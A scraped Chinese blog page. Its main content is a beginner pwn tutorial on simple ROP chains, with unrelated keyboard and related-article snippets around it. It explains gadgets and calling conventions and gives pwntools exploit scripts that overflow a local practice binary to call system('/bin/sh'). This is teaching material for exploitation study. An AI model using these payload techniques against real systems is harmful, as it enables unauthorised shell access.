8种机械键盘轴体对比

本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?

这篇鸽了挺久的,补一下吧

简单介绍ROP

首先先来说下什么是ROP

ROP是Return Oriented Programming 的缩写

翻译过来就是面向返回的编程

你可能会问,我们不是利用栈溢出漏洞么,怎么又扯到编程了?

其实ROP就是另外一种意义上的编程,其核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件程序存在溢出,并且可以控制返回地址。

可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

这里的gadgets是类似下面的代码片段

这里用32位的程序作为示例,所以我们先讲32位的ROP,然后再讲64位的ROP,两者其实相差不大

这些gadgets一般遵循以下的形式1

2

3xxx

xxx

ret

例如1

2pop ebp

ret

1

2int 80h

ret

反正就是一堆指令后面跟着ret

但是比较常见和常用的就是1

2pop xxx

ret

这一类的gadget

但是其实在32位的ROP中是比较少用gadget的

这里又扯一下函数参数的传递方式32位

我们举一个例子吧,在上一章的示例程序中也可以找到对应的代码1read(0,buf,0x100)

这一句代码,对应的汇编是1

2

3

4

5.text:08048484 push 100h ; nbytes

.text:08048489 lea eax, [ebp+buf]

.text:0804848C push eax ; buf

.text:0804848D push 0 ; fd

.text:0804848F call _read

可以看到参数是从右到左入栈,先push 0x100,再push buf,最后push 0

所以例如1my_fun(0,1,2,3,4,5,6)

对应的汇编就是1

2

3

4

5

6

7

8push 6

push 5

push 4

push 3

push 2

push 1

push 0

call my_fun

64位

同样是那一行代码1read(0,buf,0x100)

对应的64位汇编是1

2

3

4

5lea rax, [rbp+buf]

mov edx, 100h ; nbytes

mov rsi, rax ; buf

mov edi, 0 ; fd

call _read

而1my_fun(0,1,2,3,4,5,6)

就变成1

2

3

4

5

6

7

8push 6

mov r9d, 5

mov r8d, 4

mov ecx, 3

mov edx, 2

mov esi, 1

mov edi, 0

call my_fun

可以看到函数的前6个参数都会放到寄存器里面,从左到右对应的是1rdi, rsi, rdx, rcx, r8d, r9d

如果还有更多参数的话,就会通过栈来传递

32位程序实战

接下来结合实例来讲一下吧

还是用上一章那个程序

假如现在我们不直接跳到backdoor函数,而是通过ROP来调用1system("/bin/sh")

布置好的栈如下

对应的payload是1

2

3

4

5

6

7

8

9

10

11

12

13

14

15from pwn import *

p=process('./pwn_level1')

context.log_level='debug'

gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

system=0x8048340

binsh=0x8048577

p.send('a'*13+p32(system)+p32(0xdeadbeef)+p32(binsh))

p.interactive()

接下来讲解一下为什么这样布置栈

我们在0x8048499 处下一个断点

用1x /10xw $esp

查看栈的情况

1

2

30x08048340 -> system

0xdeadbeef -> retaddr

0x08048577 -> /bin/sh字符串的地址

你可能想问,这里为什么突然多了retaddr这个东西了呢?

我们来回顾一下正常调用1system("/bin/sh")

对应的汇编是1

2push binsh_addr

call system

关键就在1call system

这句汇编其实等价于1

2push eip+5

jmp system

因为call指令一波都是5个字节的长度,所以这里保存的是下一条指令的地址

而我们栈溢出控制rip,其实就相等于1jmp system

少了保存地址,所以我们要填一个返回地址给它

但是调用system(“/bin/sh”)之后就get shell了,返回地址是什么其实没有什么所谓,所以填0xdeadbeef也行

接下来加大一点难度

假设程序里面没有/bin/sh这个字符串,我们要调用read读/bin/sh到bss段

布置好的栈如下

payload如下1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24from pwn import *

p=process('./pwn_level1')

context.log_level='debug'

#gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

read=0x8048320

system=0x8048340

binsh=0x8048577

pop3ret=0x8048539

bss=0x804A024

payload='a'*13+p32(read)+p32(pop3ret)+p32(0)+p32(bss)+p32(0x100)

payload+=p32(system)+p32(0xdeadbeef)+p32(bss)

p.send(payload)

sleep(1)

p.sendline('/bin/shx00')

p.interactive()

这里如果要调试的话,最好把1sleep(1)

换成1raw_input()

这样比较好调

这里1pop3ret

作用是改变栈,让栈指针指向system

64位程序实战

64位的其实和32位的大同小异,区别就在于传递参数那里

这里给下示例程序

然后给下payload,因为差不多,所以就不详细解释了1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17from pwn import *

p=process('./pwn_level1_64')

context.log_level='debug'

gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

prdi=0x400663

binsh=0x400684

system=0x400480

payload='a'*9+p64(prdi)+p64(binsh)+p64(system)

p.send(payload)

p.interactive()

但是因为程序没有1pop rdx

这个gadget,所以在这个程序比较难控制第三个参数,也就比较难调用1read(0,buf,0x100)

比较难不代表不行,之后会介绍一个万能gadget,能够控制rdx的

Linux下pwn从入门到放弃,pwn从入门到放弃第六章——简单ROP相关推荐

  1. Linux下的网络协议分析工具-tcpdump快速入门手册

    TCPDUMP简介 在传统的网络分析和测试技术中,嗅探器(sniffer)是最常见,也是最重要的技术之一.sniffer工具首先是为网络管理员和网络程序员进行网络分析而设计的.对于网络管理人员来说,使 ...

  2. linux下最好的chm阅读器KchmViewer,安装使用/与oklular,xCHM,gnochm简单比较

    windows2003服务器使用pcanywhere进行远程管理,但有时pcanywhere会出问题而服务关闭,因为服务器在电信机 房,以前这种问题只能请机房工作人员直接reset服务器,但这不是个好 ...

  3. 《Python编程 从入门到实践》 一、基础知识 第六章 字典

    6.1一个简单的字典 来看一个游戏,其中包含一些外星人,这些外星人的颜色和点数各不相同,下面是一个简单的字典,存储了有关特定外星人的信息: alien_0={'color':'green','poin ...

  4. c/c++算法竞赛入门经典第一版刘汝佳第五,六章课后习题

    5.1.1WERTYU #include<iostream> using namespace std; int main() {char ch[]="`1234567890-=q ...

  5. Linux 下编译、安装、配置 QT

    打算做嵌入式图像处理,计划方案嵌入式Linux+OpenCV+QT,昨天简单入门OpenCV今天看看QT,QT就先弄Linux下面的,回家之前争取把基本的摸通,然后能在板子上跑起来. 软件环境 Lin ...

  6. Linux下安装和配置JDK与Tomcat(升级版)

    在这个版本 Linux下安装和配置JDK与Tomcat(入门版) 的基础上优化升级 1.下载相关软件 apache-tomcat-6.0.37.tar.gz jdk-6u25-linux-i586-r ...

  7. linux卸载和按照jdk,Linux 下安装和卸载JDK

    安装 下载jdk https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 在local ...

  8. 鸿蒙能用linux许可证,【HarmonyOS HiSpark AI Camera试用连载 】Linux下的鸿蒙

    本帖最后由 jf_89761755 于 2020-10-19 07:32 编辑 Linux下的鸿蒙 --tjCFeng 拿到鸿蒙开发板 AI Camera 已经一个星期了,期间查找了众多的资料教程来学 ...

  9. linux中断函数中有锁,Linux下fcntl实现建议锁和强制锁

    近日小温下APUE,发现Linux下的 fcntl 实现强制锁的功能好像都没试验过,简单做个测试. 首先用 fcntl 实现建议锁(Advisory locking),比较简单,贴个最简单的代码: # ...

最新文章

  1. resource id 3 php,PHP Warning: stat(): stat failed for Resource id
  2. VMware LUN发现、日志、操作
  3. 爱上Android之选择您的开发工具
  4. 面试金典--min栈的实现
  5. Web中的鼠标自动移动
  6. LeetCode 1450. 在既定时间做作业的学生人数
  7. c语言删除元素1116,C语言网蓝桥杯1116 IP判断
  8. 2021年软件质量事故盘点
  9. 查看华为huawei状态码
  10. 大学英语计算机统考怎么过,2011年9月大学英语B 统考 计算机网考样题
  11. 火影推荐程序连载6-径向模糊简介
  12. Win7系统专业版调整屏幕亮度的详细教程--win7w.com
  13. scp cp
  14. 【VRP问题】基于遗传算法求解容量和距离约束的车辆路径规划问题CDVRP附matlab代码
  15. 缓解环境噪声对音频质量干扰
  16. 黑客是如何入侵服务器的,常见的攻击手段有哪些
  17. 出水芙蓉,风华绝代----记民国才女林徽因
  18. No operations allowed after statement closed
  19. android终止一个进程的方法,使用ActivityManager的forceStopPackage方法结束进程
  20. 乔布斯斯坦福演讲---找到你的钟爱

热门文章

  1. matlab 3D绘图详解
  2. delphi中的提前声明
  3. 提高C程序效率的10种方法
  4. BUUCTF-Reverse:SimpleRev(算法分析题)
  5. shadow ssdt学习笔记
  6. 【快乐水题】575. 分糖果
  7. Python之区块链简单记账本实现
  8. 从Tensorflow代码中理解LSTM网络
  9. BZOJ 3669 . JZOJ 3754. 【NOI2014】魔法森林
  10. 租赁mt4虚拟服务器,mt4服务器出租